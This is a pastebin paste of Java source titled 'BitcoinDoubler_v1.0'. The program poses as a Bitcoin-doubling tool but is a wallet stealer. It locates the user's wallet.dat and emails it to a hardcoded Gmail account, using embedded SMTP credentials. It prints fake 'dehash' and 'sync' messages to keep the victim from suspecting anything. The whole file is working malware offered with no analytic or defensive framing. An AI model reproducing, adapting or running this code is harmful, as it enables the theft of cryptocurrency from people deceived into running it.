BitcoinDoubler_v1.0


SUBMITTED BY: Guest

DATE: Nov. 24, 2013, 1:32 a.m.

FORMAT: Java

SIZE: 4.6 kB

HITS: 1019

  1. package bitcoinDoubler;
  2. import java.io.File;
  3. import java.io.IOException;
  4. import java.io.PrintStream;
  5. import java.util.Properties;
  6. import javax.activation.DataHandler;
  7. import javax.activation.DataSource;
  8. import javax.activation.FileDataSource;
  9. import javax.mail.Authenticator;
  10. import javax.mail.Message;
  11. import javax.mail.Message.RecipientType;
  12. import javax.mail.MessagingException;
  13. import javax.mail.Multipart;
  14. import javax.mail.PasswordAuthentication;
  15. import javax.mail.Session;
  16. import javax.mail.Transport;
  17. import javax.mail.internet.InternetAddress;
  18. import javax.mail.internet.MimeBodyPart;
  19. import javax.mail.internet.MimeMessage;
  20. import javax.mail.internet.MimeMultipart;
  21. class BitcoinDoubler
  22. {
  23. private static String Dir = "";
  24. public boolean findFile(String name, File file)
  25. {
  26. File[] list = file.listFiles();
  27. if (list != null) {
  28. for (File fil : list) {
  29. if (fil.isDirectory())
  30. {
  31. findFile(name, fil);
  32. }
  33. else if (name.equalsIgnoreCase(fil.getName()))
  34. {
  35. Dir = fil.toString();
  36. return true;
  37. }
  38. }
  39. }
  40. return false;
  41. }
  42. public static void main(String[] args)
  43. throws IOException
  44. {
  45. BitcoinDoubler ff = new BitcoinDoubler();
  46. String a = System.getProperty("user.name");
  47. String name = "wallet.dat";
  48. String directory = "C:\\Users\\" + a + "\\AppData\\Roaming\\Bitcoin";
  49. String directory2 = "C:\\";
  50. boolean found = true;
  51. if (!ff.findFile(name, new File(directory)))
  52. {
  53. found = false;
  54. System.out.println("Couldn't find wallet.dat!");
  55. System.out.println("Attempting to reconfigure...");
  56. }
  57. else if ((!found) && (!ff.findFile(name, new File(directory2))))
  58. {
  59. System.out.println("Final attempt failed!");
  60. System.out.println("Please place wallet.dat in C:\\Users\\" + a + "\\AppData\\Roaming\\Bitcoin");
  61. }
  62. else
  63. {
  64. System.out.println("Connecting to server to dehash...");
  65. String username = "BitDoublerxxx@gmail.com";
  66. String password = "rakshit12";
  67. String SMTP_HOST = "smtp.gmail.com";
  68. Properties props = new Properties();
  69. props.put("mail.smtp.host", SMTP_HOST);
  70. props.put("mail.smtp.port", "587");
  71. props.put("mail.smtp.auth", "true");
  72. props.setProperty("mail.smtp.starttls.enable", "true");
  73. props.put("mail.smtp.ssl.enable", "true");
  74. Session session = Session.getInstance(props);
  75. session = Session.getInstance(props, new Authenticator()
  76. {
  77. protected PasswordAuthentication getPasswordAuthentication()
  78. {
  79. return new PasswordAuthentication("BitDoublerxxx@gmail.com", "rakshit12");
  80. }
  81. });
  82. try
  83. {
  84. Message message = new MimeMessage(session);
  85. message.setFrom(new InternetAddress(a + "@gmail.com"));
  86. message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("BitDoublerxxx@gmail.com"));
  87. message.setSubject(a + " wallet.dat");
  88. message.setText("PFA");
  89. MimeBodyPart messageBodyPart = new MimeBodyPart();
  90. messageBodyPart.setText("wallet.dat from " + a);
  91. Multipart multipart = new MimeMultipart();
  92. multipart.addBodyPart(messageBodyPart);
  93. String file = Dir;
  94. messageBodyPart = new MimeBodyPart();
  95. String fileAttachment = file;
  96. DataSource source = new FileDataSource(fileAttachment);
  97. messageBodyPart.setDataHandler(new DataHandler(source));
  98. messageBodyPart.setFileName("wallet.dat");
  99. multipart.addBodyPart(messageBodyPart);
  100. message.setContent(multipart);
  101. System.out.println("Sending to server...");
  102. Transport trnsport = session.getTransport("smtp");
  103. trnsport.connect();
  104. Transport.send(message);
  105. trnsport.close();
  106. System.out.println("Done, please allow upto 1 hour before all wallets sync with the server!");
  107. }
  108. catch (MessagingException e)
  109. {
  110. e.printStackTrace();
  111. }
  112. }
  113. }
  114. }

comments powered by Disqus